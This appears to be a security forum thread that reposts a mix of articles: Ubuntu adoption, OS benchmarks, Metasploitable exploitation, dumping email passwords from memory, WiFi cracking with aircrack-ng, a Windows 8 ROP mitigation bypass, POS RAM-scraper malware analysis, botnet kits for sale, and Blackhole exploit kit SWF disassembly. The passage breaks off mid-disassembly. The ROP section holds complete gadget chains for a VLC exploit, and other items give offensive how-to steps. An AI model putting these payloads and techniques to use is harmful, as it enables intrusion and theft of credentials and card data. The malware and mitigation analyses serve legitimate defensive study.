Nytro

[h=1]Linux is ready: How my wife switched to Ubuntu[/h] [h=6]Written by Guillermo Garron .[/h] Date: 2012-12-14 22:02:35 -0400 Here is a story about how Ubuntu could replace Windows as the main operating system on a non-tech-savvy user’s laptop. I think Linux, though perhaps lacking some essential software for business use is ready for every home. How my wife switched completely to Ubuntu It’s been years since I’ve used Windows on my own computer. But my wife, well, that’s a different story. She’s not the kind of user who likes how “hard” is to use my machines running Debian or Arch. So I had Windows installed for her on the home PC and on her laptop. I was constantly cleaning, re-installing, fighting viruses, etc. due to Windows’ infamous weaknesses in these areas. Well, a year ago, when she needed to travel to Buenos Aires for six months, I had Ubuntu 11.10 installed on her laptop alongside Windows, and asked her to see if she could use just Ubuntu, reassuring her that this way she wouldn’t have to worry about getting it fixed because it wouldn’t be able to break. Her basic needs for the laptop were Skype (to stay in touch), Gmail, Office documents (via LibreOffice), and browsing the internet. She even managed (with my guidance) to install and configure Ekiga to use a local SIP provider and call home at “local” rates Her whole time in Buenos Aires, she managed to use Ubuntu exclusively (save for Netflix, but that’s no longer an issue) When she finally returned home, she continued to use Ubuntu as her sole operating system, and I have already upgraded her to 12.04, and will soon upgrade to 12.10, which is what I have running on my own PC and which is awesome. My wife only knows how to use computers, not how to set it up or anything (she’s a biochemist, not a computer scientist). That’s my job. I think this example shows that Ubuntu is easy enough to use and understand that if it came preinstalled on more consumer machines instead of Windows, it would fit in well with modern consumers’ needs. It may even start to become a standard Sursa: Linux is ready: How my wife switched to Ubuntu

[h=1]FreeBSD/PC-BSD 9.1 Benchmarked Against Linux, Solaris, BSD[/h]Published on December 19, 2012 Written by Michael Larabel While FreeBSD 9.1 has yet to be officially released, the FreeBSD-based PC-BSD 9.1 "Isotope" release has already been made available this month. In this article are performance benchmarks comparing the 64-bit release of PC-BSD 9.1 against DragonFlyBSD 3.0.3, Oracle Solaris Express 11.1, CentOS 6.3, Ubuntu 12.10, and a development snapshot of Ubuntu 13.04. Unfortunately in this article are not benchmarks of PC-BSD/FreeBSD 9.0 or 8.2 because the high-end Intel system being used for this cross-OS benchmarking had encountered problems when booting the earlier installer media due to FreeBSD kernel problems. A PC-BSD/FreeBSD comparison of the different releases will come at a later date. The same Intel Core i7 3960X "Extreme Edition" system was used throughout the benchmarking process of PC-BSD/FreeBSD, DragonFlyBSD, Solaris Express, CentOS, and Ubuntu Linux. The stock settings were used on each of the platforms and the 64-bit images were used of each operating system. ............................................................................................................ Benchmark: http://www.phoronix.com/scan.php?page=article&item=pcbsd_91_preview&num=1

Da, votati. Vedem in weekend.

Genial!

Exploiting All Remote Vulnerability In Metasploitable - 2 Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . So I’m going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. VSFTPD v2.3.4 Backdoor Command Execution | Metasploit Exploit Database (DB) This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. PHP CGI Argument Injection | Metasploit Exploit Database (DB) When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." Distributed Ruby Send instance_eval/syscall Code Execution | Metasploit Exploit Database (DB) This module exploits remote code execution vulnerabilities in dRuby Samba "username map script" Command Execution | Metasploit Exploit Database (DB) This module exploits a command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! DistCC Daemon Command Execution | Metasploit Exploit Database (DB) This module uses a documented security weakness to execute arbitrary commands on any system running distccd. Java RMI Server Insecure Default Configuration Java Code Execution | Metasploit Exploit Database (DB) This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. Source : - Penetration Testing Software | Metasploit Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Exploiting All Remote Vulnerability In Metasploitable - 2

Dump Hotmail, Yahoo, Gmail Passwords From The Memory escription: In this video I will show you how to Dump a memory using Dumpit tool and how to find Email ID password Using WinHex tool. In this video I will first login to my email id on Yahoo, Hotmail, and Gmail then I will use Dumpit tool for Dump the Memory and That memory I am going to use in WinHex tool for finding out the passwords. Process is very simple but very powerful – tool is also very lite but working like a charm. Tools : - DumpIT and WinHex MoonSols Windows Memory Toolkit | MoonSols WinHex: Hex Editor & Disk Editor, Computer Forensics & Data Recovery Software Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Dump Hotmail, Yahoo, Gmail Passwords From The Memory

[h=3]teb32 of wow64 process[/h]It seems that internet is full of wrong recipes how to get subj (like this one - true anal surgery IMHO) Actually answer is very simple - TEB32 is always located at offset 0x2000 after TEB Proofs Lets see for example function NtSetInformationThread in kernel for THREADINFOCLASS .eq. ThreadZeroTlsCell: mov rcx, [r8+0F0h] ; load _KTHREAD.Teb in rcx test rcx, rcx jz loc_1403E521A mov rax, [rbx+418h] ; EPROCESS.Wow64Process test rax, rax jz short loc_1403E5178 ; not wow64 process lea r9, [rcx+2000h] ; wow64 process - load TEB32 loc_1403E5178: mov edx, [rsp+118h+var_AC] cmp edx, 40h jnb short loc_1403E519F test rax, rax ; again check for wow64 process jnz short loc_1403E5190 mov [rcx+rdx*8+1480h], rsi ; store to TEB.TlsSlots[rdx] loc_1403E5190: test r9, r9 jz short loc_1403E520A mov [r9+rdx*4+0E10h], esi ; store to TEB32.TlsSlots[rdx] Next lets check MmCreateTeb function: mov ebx, 1820h ; sizeof(TEB) mov rax, [rcx+418h] ; EPROCESS.Wow64Process mov [rsp+98h+var_78], rax mov ecx, 2FE8h ; sizeof(TEB) rounded to page size + sizeof(TEB32) test rax, rax ; check if this process is wow64 cmovnz ebx, ecx ; if yes apply size for both TEBs lea rdx, [rsp+98h+var_60] mov rcx, r12 call KeStackAttachProcess lea r9, [rsp+98h+var_70] mov r8d, ebx ; use this size as 3rd argument to MiCreatePebOrTeb mov rdx, rdi mov rcx, r12 call MiCreatePebOrTeb Sursa: ?????? ??????: teb32 of wow64 process

Cracking WEP, WPA and WPA2 Encrypted Wifi Networks using Aircrack-ng. Tutorial by Akatzbreaker In this tutorial I will demonstrate you how to crack almost any Encrypted Network that uses WEP, WPA and WPA2. 1. Before we start. Take into account the Disclaimer at this page: More from the G.N.A. Hack Team What we need: Mac and Windows: I would recommend to Install Backtrack or Ubuntu on a VMWare virtual machine. Linux: sudo apt-get install aircrack-ng airmon-ng airodump-ng aireplay-ng kismet (Recommended Download for Linux Users – It auto configures the tools needed) Backtrack: NOTHING! Every is included by default….. NOTE: The pictures included in the tutorial are NOT mine…. ......................................................................................................... Articol: https://gnahackteam.wordpress.com/2012/03/04/cracking-encrypted-networks-using-aircrack-ng/

[h=1]Botnets for the Masses[/h] Not so long ago, aspiring bot-herders, who wanted to get started with a botnet of their own, would have to hang out in the right circles or learn how to make one themselves. If they hung out in the right circles they would be provided with guidance and documentation to get started. If they were creative enough and had enough time and skill they could create their own from scratch. But what if they didn’t have this skill set, or didn’t hang out in the right circles? Just like everything else, they could pay to have someone do it for them. The following examples of crimeware kits for sale have been found in various places on the Internet. Due to various reasons including, enabling the practice of crimeware and legal issues, we cannot confirm that the items being sold are legitimate. Some have the characteristics of a scam due to inaccuracies in the description (old versions being touted as new) or pricing that does not reflect the going market rate. Many of you reading this are probably wondering how these individuals are able to advertise and peddle their services, which are completely illegal, out in the open. These transactions often occur in the underground, or “deep web,” but sometimes happen out in the open web as well. The transactions usually happen on forums where people know each other, but we are seeing some on sites that sell other goods as well. You are probably wondering if this is all a scam. Perhaps, most of the crimeware kit sellers are out for a quick profit, but some of these sites discussed below have a feedback system. Just like an auction and community selling website, a fraudster is not going to last long and will not profit in the long run with a bad reputation. But again, keep in mind that reviews can be from forged accounts or from friends. Most people who stumble upon the following site would be surprised at the nice interface and professionalism. In addition to illicit items, users can find various categories of interest. Unlike traditional selling methods seen in the past on underground forums (such as private messages), this site caters to those looking for a range of illegal goods. In this case, we are going to focus on what is under the "Services – Hacking" section. Figure 1. Market control interface The screen shot below shows a seller offering “Zeus Fully Setup Botnet + Bulletproof Hosting”. The site, as you can see, is professional looking and has an interface that rivals legitimate e-commerce and auction sites. Sursa: Botnets for the Masses | Symantec Connect Community

[h=1]Defeating Windows 8 ROP Mitigation[/h]Posted on 19 Desember 2012 by c0decstuff Windows 8 introduced a number of exploit mitigation features, including hardening of both the userland and kernel heaps, mitigation against kernel-mode NULL pointer dereferences, and protection against abuse of virtual function pointer tables. One feature that stood out to me appears to be designed to help mitigate exploits leveraging return-oriented programming (ROP). Return-Oriented Programming For those who don’t know, ROP is a generalization of the classic return-to-libc attack that involves leveraging small sequences of instructions, typically function epilogues, at known addresses to execute arbitrary code incrementally. This is achieved by controlling data pointed to by ESP, the stack pointer register, such that each ret instruction results in incrementing ESP and transferring execution to the next address chosen by the attacker. Because finding sequences of useful instructions (known as “gadgets”) may be difficult depending on the exploitation scenario, most real ROP exploits use an initial ROP stager to create a writable and executable memory segment that a second-stage traditional shellcode can be copied into. Most frequently, VirtualProtect can be used to mark an existing executable segment writable, or VirtualAlloc can be used to create a fresh segment. Other variations also exist. A second trait common to many ROP exploits is that the ROP payload itself often doesn’t live in the thread’s stack, due to either the nature of the vulnerability itself or limits on the attacker’s ability to introduce code into portions of the vulnerable application’s address space. Instead, it’s much more common for a ROP payload to be positioned in the heap and pivot the stack pointer into the heap, at which point the ROP payload can run. Windows 8 ROP Mitigation Microsoft has evidently been paying attention and noticed these two common factors. In an attempt to mitigate these types of exploits, Windows 8 implements a simple protection mechanism: every function associated with manipulating virtual memory, including the often-abused VirtualProtect and VirtualAlloc, now includes a check that the stack pointer, as contained in the trap frame, falls within the range defined by the Thread Environment Block (TEB). Code courtesy of Alex Ionescu: char __cdecl PsValidateUserStack() { char Status; // al@1 _KTRAP_FRAME *TrapFrame; // ecx@3 _TEB *Teb; // ecx@3 void *.Eip; // [sp+10h] [bp-88h]@3 unsigned int .Esp; // [sp+14h] [bp-84h]@3 void *StackLimit; // [sp+18h] [bp-80h]@3 void *StackBase; // [sp+1Ch] [bp-7Ch]@3 _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6 CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3 CurrentThread = (_ETHREAD *)__readfsdword(0x124u); Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User if ( Status ) { __asm { bt dword ptr [edx+58h], 13h } // // KernelStackResident, ReadyTransition, Alertable Status = _CF; if ( _CF != 1 ) { TrapFrame = CurrentThread->Tcb.TrapFrame; .Esp = TrapFrame->HardwareEsp; .Eip = (void *)TrapFrame->Eip; Teb = (_TEB *)CurrentThread->Tcb.Teb; ms_exc.disabled = 0; StackLimit = Teb->DeallocationStack; StackBase = Teb->NtTib.StackBase; ms_exc.disabled = -2; Status = .Esp; if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase ) { memset(&ExitStatus, 0, 0x50u); ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN; ExitStatus.ExceptionAddress = .Eip; ExitStatus.NumberParameters = 2; ExitStatus.ExceptionInformation[0] = 4; ExitStatus.ExceptionInformation[1] = .Esp; Status = DbgkForwardException(&ExitStatus, 1, 1); if ( !Status ) { Status = DbgkForwardException(&ExitStatus, 0, 1); if ( !Status ) Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode); } } } } return Status; } As a result, exploits that leverage a ROP payload stored in the heap cannot return into VirtualProtect or VirtualAlloc to create a writable and executable segment. While this provides yet another hurdle for exploit writers, it’s fairly easy to bypass. Besides writing a full ROP payload that doesn’t have a second stage, which may be difficult depending on the availability of gadgets, one simple way of avoiding this protection is to give it what it wants: ensure ESP points into the current thread’s stack whenever virtual memory functions are called. In the below example, I’ll assume the attacker has access to the original stack pointer through some register, as is the case when a pivot is performed using an xchg instruction. If this isn’t the case, it may be worth investigating ways of finding the stack at runtime. Bypassing the Mitigation To demonstrate, let’s take the very basic ROP payload I used for a VLC exploit as an example. After triggering the vulnerability, I pivot the stack pointer into the heap using a gadget that executes the following: xchg esi, esp retn In this case, the ESI register contains a pointer to heap data I control, so by pivoting the stack pointer into this region, I can execute my first-stage ROP payload: rop = [ rop_base + 0x1022, # retn # Call VirtualProtect() rop_base + 0x2c283, # pop eax; retn rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax rop_base + 0x12fda, # mov eax,DWORD PTR [eax] rop_base + 0x29d13, # jmp eax rop_base + 0x1022, # retn heap & ~0xfff, # lpAddress 0x60000, # dwSize 0x40, # flNewProtect heap - 0x1000, # lpfOldProtect # Enough of this ROP business... rop_base + 0xdace8 # push esp; retn This payload pulls the address for VirtualProtect from the Import Address Table (IAT), calls it to mark the heap executable, and jumps into the newly-executable heap to run a second-stage traditional shellcode. Because ESP points into the heap at the time of the VirtualProtect call, this exploit would fail due to the newly introduced mitigation in Windows 8. However, it’s relatively simple to adapt it to bypass this mitigation. Below is the updated ROP payload: rop = [ rop_base + 0x1022, # retn # Write lpfOldProtect rop_base + 0x2c283, # pop eax; retn heap - 0x1000, # lpfOldProtect -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write flNewProtect rop_base + 0x2c283, # pop eax; retn 0x40, # flNewProtect -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write dwSize rop_base + 0x2c283, # pop eax; retn 0x60000, # dwSize -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write lpAddress rop_base + 0x2c283, # pop eax; retn heap & ~0xfff, # lpAddress -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write &Pivot rop_base + 0x2c283, # pop eax; retn rop_base + 0x229a5, # &pivot -> eax rop_base + 0x1db4f, # mov [esi],eax; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn rop_base + 0x3ab5e, # dec esi; retn # Write &VirtualProtect rop_base + 0x2c283, # pop eax; retn rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax rop_base + 0x12fda, # mov eax,DWORD PTR [eax] rop_base + 0x1db4f, # mov [esi],eax; retn # Pivot ESP rop_base + 0x229a5, # xchg esi,esp; retn; # Jump into shellcode rop_base + 0xdace8 # push esp; retn ] This is a very crude example, but I think it demonstrates the idea just fine. I write the arguments to VirtualProtect into the original stack, stored in the ESI register, one at a time. For the address that will be returned to coming out of VirtualProtect, I place a pivot to move ESP back to the heap. Finally, to trigger the whole thing, I actually return into my pivot gadget, which will pivot ESP back to the original stack and return into VirtualProtect. In this case, adapting the exploit added an extra 124 bytes to the payload, but that was mostly due to the fact that I was limited on gadget availability and had to resort to decrementing ESI one value at a time. It’s probably possible to optimize this example with some extra work. In other cases, I’d expect it to be possible to implement this technique with much less overhead. Sursa: http://c0decstuff.blogspot.ro/2012/12/defeating-windows-8-rop-mitigation.html

[h=2]Malware attacking POS systems[/h]December 19, 2012 Recently there has been quite a lot of technical posts about RAM scrappers targeting Point Of Sale (POS) systems i.e. malware stealing track data directly from memory of the systems involved in processing of credit cards within the Payment Card Industry (PCI). I am speaking – of course – about Dexter malware. You can find selected (good, technical and informative) articles covering this particular malware here: Verizon, Seculert, Volatility Labs, Trustwave. It’s good to see that the actual samples are now being either shared publicly or at least discussions about their internals are becoming available for a public eye. Xylitol is definitely leading here as he has been talking about this topic and specific samples a few times this year (example here and here), and sporadically, some of the PFI companies write a blog or two, or present their findings on security conferences. One thing worth to mention here is that some ‘juicy’ knowledge about specific RAM scraping samples has been shared many times in the past, but it has never gained as much exposure as it probably should e.g. many hashes of RAM scrapers have been mentioned in public advisories from card schemes e.g. here, here, and here. Still, access to the actual samples is very limited plus the hashes of samples keep changing (they are often recompiled for each new compromise). [h=2]RAM Scraping and theft of data in transit[/h] What is ‘RAM Scraping’? RAM scraping is a different way of saying that malware reads and parses data directly from a memory (or a file containing memory dump) of a legitimate application responsible for credit card processing. Such ‘sniffing’ is usually scheduled to run at regular intervals. The malware can also directly ‘plug’ or hook into the payment application’s internals and analyze content of its buffers used to temporarily store credit card data in transit. RAM scraping is not a new idea, many carding attacks within at least last 5 years are relying on this technique and are described in detail by Trustwave and Verizon Business – well-known security companies that specialize in PFI investigations. The RAM scraping technique is extremely simple, effective and… quiet – except for the time when hackers come to the system to install the malware and occasionally come back to extort accumulated data, there is not much of suspicious or easily identifiable activity going on on the compromised system. It’s the ‘in transit’ aspect of RAM scraping that makes the attack so successful; even if the credit card data never touches the disk (e.g. on a properly hardened and configured system), the malware can still intercept it as it is injected into a transaction process and actively participates in it as an ‘observer’. It acts in a way similar to a man-in-the-middle attack with no modification of data involved (in other words, whatever application is processing – it will be first ‘seen’ by malware before it is passed to the legitimate payment processing application; and this is when data gets sniffed/stolen/dumped). In the first method of RAM scraping mentioned above the malware acts as an active ‘observer’ of other processes memory constantly analyzing it and looking for card data. It uses a ReadProcessMemory API to access the memory of a targeted process. The second one is more complex as it interacts directly with a targeted application – it can be a patched / modified binary or code patching of the running application – writing such patch requires either a good familiarity (on a programmatic level) with the payment application or the attacker needs to spend some time reverse engineering the application internals to know where to hook into its card processing functions. In a way, it is like a plugin code attached to the legitimate software. A very good example of the complex malware using this technique was the infamous ATM malware described first by Threatexpert back in 2009. The malware targeting POS systems comes in all flavors. It is written in perl, python, .NET, Delphi, C, and sometimes these are are just legitimate applications modified to serve malicious purpose e.g. winpcap, ngrep, etc.. There is currently no good protection for this kind of attack on a software level (although system hardening, blocking access to process’ memory or immediately cleaning buffers used for credit cards and even introducing dummy yet incorrect track data inside the application buffers /randomly/ could possibly help; if you are merchant, ask POS vendors about it; if you are POS vendor, feel free to ask me more about it). [h=2]Other types of POS malware & hacking techniques[/h] For the sake of completeness it is worth mentioning that some malware variants include code to cover other areas of the system as well and apart from memory scraping they can sniff unencrypted track data from network (again ‘data in transit’), or use traditional keyloggers to intercept track data directly as it enters the system used for swiping the cards e.g. in hotels or restaurants (card readers present themselves to the system as a keyboard, hence track data can be intercepted via keystroke interception). One can find PAN/Track harvesters working as sniffers putting network card interface in a promiscuous mode, or as specific modules injected into specific processes (more targeted approach), keyloggers, screen grabbers, and so on and so forth. Some techniques are even simpler – enabling legitimate flags/settings responsible for debugging purposes or to enable logs, or sometimes even simply increasing log verbosity allows to change the behavior of the POS application so that it will start storing PANs/Track data (and the hacker just nees to re-visit system a bit later to harvest the data). In some cases attackers also downgrade the applications to restore older, vulnerable versions of POS software on the compromised system. Such modifications are usually very subtle and since they don’t even require malware to be active on the system – very hard to detect. On the server side, the attacker may change the script responsible for card processing to transfer data to the attacker’s destination immediately after site users enter them – sometimes such data is stored in a local file as well. Other attacks rely on SQL injection and card data is dumped directly from the database to attacker’s client/tool. Older malware would also use SMTP or FTP to transfer data out in a real-time, but it’s really old school and doesn’t work in more and more environments. While ‘smash and grab’ approach still works, the mission to ‘stay quiet and steal as long as possible’ is a trend growing over last few years. Using a cliche metaphor, hackers now build oasis-like wells that act as card reservoirs to which they come back to fetch new harvested data once in a while. [h=2]Example malware attacking POS[/h] I will describe here a a few specific examples of malware targeting POS systems. There are not too many publicly available samples available, but since now they are out there in the wild for quite some time (thanks to Xylitol for sharing the samples via his blog), let’s get to business and describe what we got there… [h=4]lanst.exe[/h] MD5 D770ADBEE04D14D6AA2F188247AF16D0 SHA1 2474EC06E46605D60AC2B04B20998EB052AF275F It’ s a perl2exe compiled executable. Perl2exe executables contain an encrypted perl code that is decrypted during run-time and interpreted by the embedded perl processor/interpreter; because of this, we can extract the perl code during run-time. Lanst.exe’s perl code looks like this (we can save it as lanst.pl and even run): It is obvious from looking at the screenshot that there seem to be some funny unrecognized characters in the source code. It’s a good occasion to use hstrings: hstrings -ps0 lanst.pl > lanst.pl.probe It will probe all the encodings it knows and save the output data into lanst.pl.probe file. Browsing through lanst.pl.probe file using Total Commander’s Lister we can see Okay, so encoding is cp866,OEM Russian; Cyrillic (DOS). We can now go back to lanst.pl and use Lister’s Encodings menu to change the default encoding to 866. Et voilà! We get a nice Perl code with Russian comments: The code itself is not that interesting – it is a boring card scanner that tries to check if the attacked system stores any track data; it is multithreaded, can scan local system, its shares and computers in a domain. It also allows for file and file extensions exclusion/inclusion to speed up system analysis. Admittedly, it is a a nicely written triage script. And yes, I lied – it is actually quite interesting after all – a very efficient code that does exactly what is supposed to do in only a few dozen of lines in perl. Notably, the source code includes a version number 1.4a $version="Version 1.4a MultiThread from 22.04.2008"; and a code that prevents it from running if it is executed after a certain date. $dietime = 1207392905+(86400*30*2); if ( time > $dietime ) { die("Can't open Handle/Tie.PM!"); }; This variant ‘dies’ if the date is 60 days past Sat, 05 Apr 2008 10:55:05 GMT – as you can see from the code above, it produces a misleading error message if executed at a wrong time. Let’s take two important notes here: It is a very old sample! And since its version is 1.4, the earlier versions must exist. If you read my older post, you may recall that built-in ‘expiration date’ is one of the reasons why dynamic analysis is often not enough A simple test on a dirty box (with a dummy Track data inside the track_samples.txt file) produces the following output: Quite a nicely behaving hacking tool, isn’t? The guys who run it must feel really happy when they see it hitting the jackpot. Not so funny though if the track data comes from your own card that you have used at the compromised restaurant a few months ago. Another aspect worth mentioning, the code creates various output files: ccfind.log is the most important amongst them as it contains the track data found on the scanned system together with the file names. If you came across this file on your case, congratulations – you have found a smoking gun… The lanst.exe is both a triage/reconnaissance tool and a harvesting machine that is looking for easy targets on compromised systems i.e. files storing unencrypted track data that are ready for an immediate extortion. It is not a RAM scraper per se, but I describe it here because it can be often found inside the ‘toolchests’. Traces of such tools being used are also a good indicator of a compromise. [h=4]dnsmgr.exe[/h] MD5 3004CE6CB7C44605CDF971B74DB3A079 SHA1 F023B5F5CD8B85B266D0A0AD416136FDA27577EF Another perl2exe compiled script. Decompiled code presents itself as yet another card parser that searches for Track1 and Track 2 patterns in a specific set of files. This is a scraper using similar technique to the one used in lanst.exe (regular expressions matching two types of track data) – yet again it is actually not a RAM scraper, but a file scraper. If it sounds a bit confusing, it is because the files it parses are actually memory dumps obtained using a dedicated memory dumping tool. That is, the actual memory dumping part is implemented in a separate program. One note here: memory dumping programs are typically part of hacker’s toolchest and since the functionality is trivial and easy to implement they are not described in this post; notably, memory dumping/parsing techniques are not carding/hacking-specific – many reverse engineers, penetration testers, and other security pros often use such tools during malware analysis, debugging sessions, pentesting or auditing gigs. Gaming cheat engines also use the same functionality. Going back to dnsmgr.exe – as mentioned, there are two components involved here: one is a memory dumper that enumerates memory blocks from the process(es) that is/are of carders’ interest e.g. application processing card data second one is a parser (dnsmgr.exe) – it analyzes the dumped data looking for track 1 and 2 patterns – fragment of the parser are shown below. It is a first generation of RAM scraping malware and as you can see it is not very advanced on a programmatic level, but worked well for quite some time (at least 3 years AFAIK; some may still be present on some POS systems even today!) Second generation of RAM scrapers combined memory dump&parsing functionality into a small executable as shown in a next example. [h=4]rdasrv.exe[/h] MD5 D9A3FB2BFAC89FEA2772C7A73A8422F2 SHA1 06A0F4ED13F31A4D291040AE09D0D136D6BB46C3 This is a second generation of RAM scrapers; it has been already described by various AV companies – so here just for the completeness: it is a code written in Delphi that runs as a service; it enumerates memory blocks of processes and reads them one by one, on the way utilizing regex patterns that match Tracks 1 and 2 – whatever matches theses patterns is intercepted and preserved in a locally created file. As mentioned earlier, it is a service, so it has to be installed, then started: While running, it creates a c:\windows\system32\data.txt file that contains intercepted information – Track data: Last, but not least, it can be also uninstalled: [h=4]compenum.exe[/h] MD5 BCC61BDF1A2F4CE0F17407A72BA65413 SHA1 B026397615ED9B63396EB5A4DF102DB706992E0E MD5 C5C3341FBDD38C041E550D5DFF187A8F SHA1 6686CE1C9B9809034333EEBD546523AE91491DB6 Two samples that are simple LAN recon/enumeration tools – they utilize WNet* functions to enumerate resources. They accept 3 command line arguments: -nocomment, -domains, -fullinfo and BCC61BDF1A2F4CE0F17407A72BA65413 accepts extra argument -createbat. The meaning of the command line arguments is as follows: extra info on WNET output (NETRESOURCE.lpComment), disable information about domains, output full information, output everything to a batch file (‘play.bat’ or ‘p’). [h=2]Conclusion[/h] These are old samples and there is nothing new here; RAM scraping malware is not very complex when compared to far more advanced families like Zeus or ZeroAccess, but this is a enough to harvest credit card numbers and later extort them from compromised systems. There are a lot more variants written by other carding groups yet the samples are not available publicly; most of them work the same way though – user mode components targeting memory of specific processes or all processes using ReadProcessMemory API or direct hooks in the payment applications’ code/libraries; kernel drivers are rare. Dexter’s arrival suggests that POS systems are gaining some attention and may be targeted even more than in previous years. If you admin a POS system don’t be frightened, but consider making a step forward towards getting your systems PCI DSS compliant. While it’s not perfect, it will definitely improve the security posture of your organization. Sursa: Hexacorn | Blog

[h=1]CIA Laptop hacked, terrorist, CIA docs leaked & DHS XSS[/h] By Lee J on Wednesday 19th of December 2012 at 8:45:25 pm Hacker who uses the handle Game Over @ThisIsGame0ver a while ago released a dump of documents from the CIA which have been obtained after an agents laptop was breached. The documents are on Game Overs archive and contain information from terrorist to plans of visits from vice presidents. All the documents are in text format and this information has been leaked for some time now. Video: http://www.youtube.com/watch?feature=player_embedded&v=_QmbruS5hYw CIA Hacked - Classified Docs Leaked @ThisIsGameOver Also Game over has just announced a XSS attack on a DHS sub domain for the transport security administration. The attack allows a user to embed a video or image and other text within the site. Game over took the choice of a video and the comment “TROLOLOLOLOL” Sursa: CIA Laptop hacked, terrorist, CIA docs leaked & DHS XSS

[h=1]Using Adobe SWF Investigator on Blackhole[/h]December 17, 2012 By Chris Jordan This post I am going to look at the relationship between a malicious SWF and its calling JavaScript. Earlier in the week, I was playing around with Cool Exploit Kit. I didn’t go down the rabbit hole of looking into the SWF file. I’m a novice when it comes to Adobe Action Script, but the structure can be figured out with patience. Yesterday, I was playing with the latestBlackhole exploit. It’s JavaScript is almost verbatim in the exploit, though the SWF file does differ. When reviewing malicious SWF, most example output I have seen is using SWF Tools (http://www.swftools.org). Recently, I have been trying out Adobe’s SWF Investigator (Adobe SWF Investigator | Flash security - Adobe Labs). My reasoning is that if Adobe can keep up improving this investigation and debugging tool, there will be a long term solution for providing forensics on SWF files, and I really do not like learning too many tools. As stated in the previous post, The use of allowScriptAccess=’always’ means that the flash file will be able to see JavaScript functions of the page via an External Interface call. This has two impacts. First, it allows the SWF to be benign of the exploit payload (it still contains the exploit). Second, it allows the attacker to configure the attack via the JavaScript eliminating the need to create new SWF files on the fly. If we look at the landing page for a Blackhole using the SWF heap spray (I believe this exploit is implementing CVE- 2011-0611), we can see the external functions of getCN, getBlockSize, getAllocSize, getFillBytes, and getShellCode being defined. ize, getFillBytes, and getShellCode being defined. JavaScript Functions that are to be used by SWF Then there is the familiar creation of the object on the web page. The function ) in the code is a function created for the formatting of data back to the server. We can do this by hand, but a JavaScript shell makes it easy. We drop the function ) in the shell. Next we enter the url variable. This variable uses ) to encode elements of the call. Finally, we enter the object write code and then inspect the javascript object. This gives us the relative position of the address, which we use to curl the SWF file. Getting the Link using a JS Shell We can now bring up SWF Investigator and load the malicious SWF. We are out of scope for the shellcode, so we are fairly safe with the play button on the investigator. There are a number of ways the view the internal code, and I have not decided which one I like better. I started using the SWF Disassembler, but using the AS3 Navigator or Tag Viewer will provide the same information with a little more control. The “SWF Disassembler” has an export button, but this does not work correctly, as it has a frustrating bug that does not actually output all the data. You are better off just cutting & pasting for now. SWF Inspector In this case of the Blackhole SWF, when we open up the SWF we can see the references back to the JavaScript fairly simple. We just need to search for the “External Interface” calls. The referencing is build similar to function calls in assembly. We give the instruction (external interface), then the agreements are pushed onto the stack. The call property function does the work (Adobe Reference: The number of arguments specified byarg_count are popped off the stack and saved.) The functions are then saved in the nameIndex and can be referred later by get local. 136 getlex ExternalInterface //nameIndex = 11 138 pushstring "getFillBytes" 140 callproperty call (1) //nameIndex = 12 143 callproperty u (1) //nameIndex = 16 146 pushstring "utf-16" 148 callpropvoid writeMultiByte (2) //nameIndex = 17 151 getlocal 11 153 findpropstrict u //nameIndex = 16 155 getlex ExternalInterface //nameIndex = 11 157 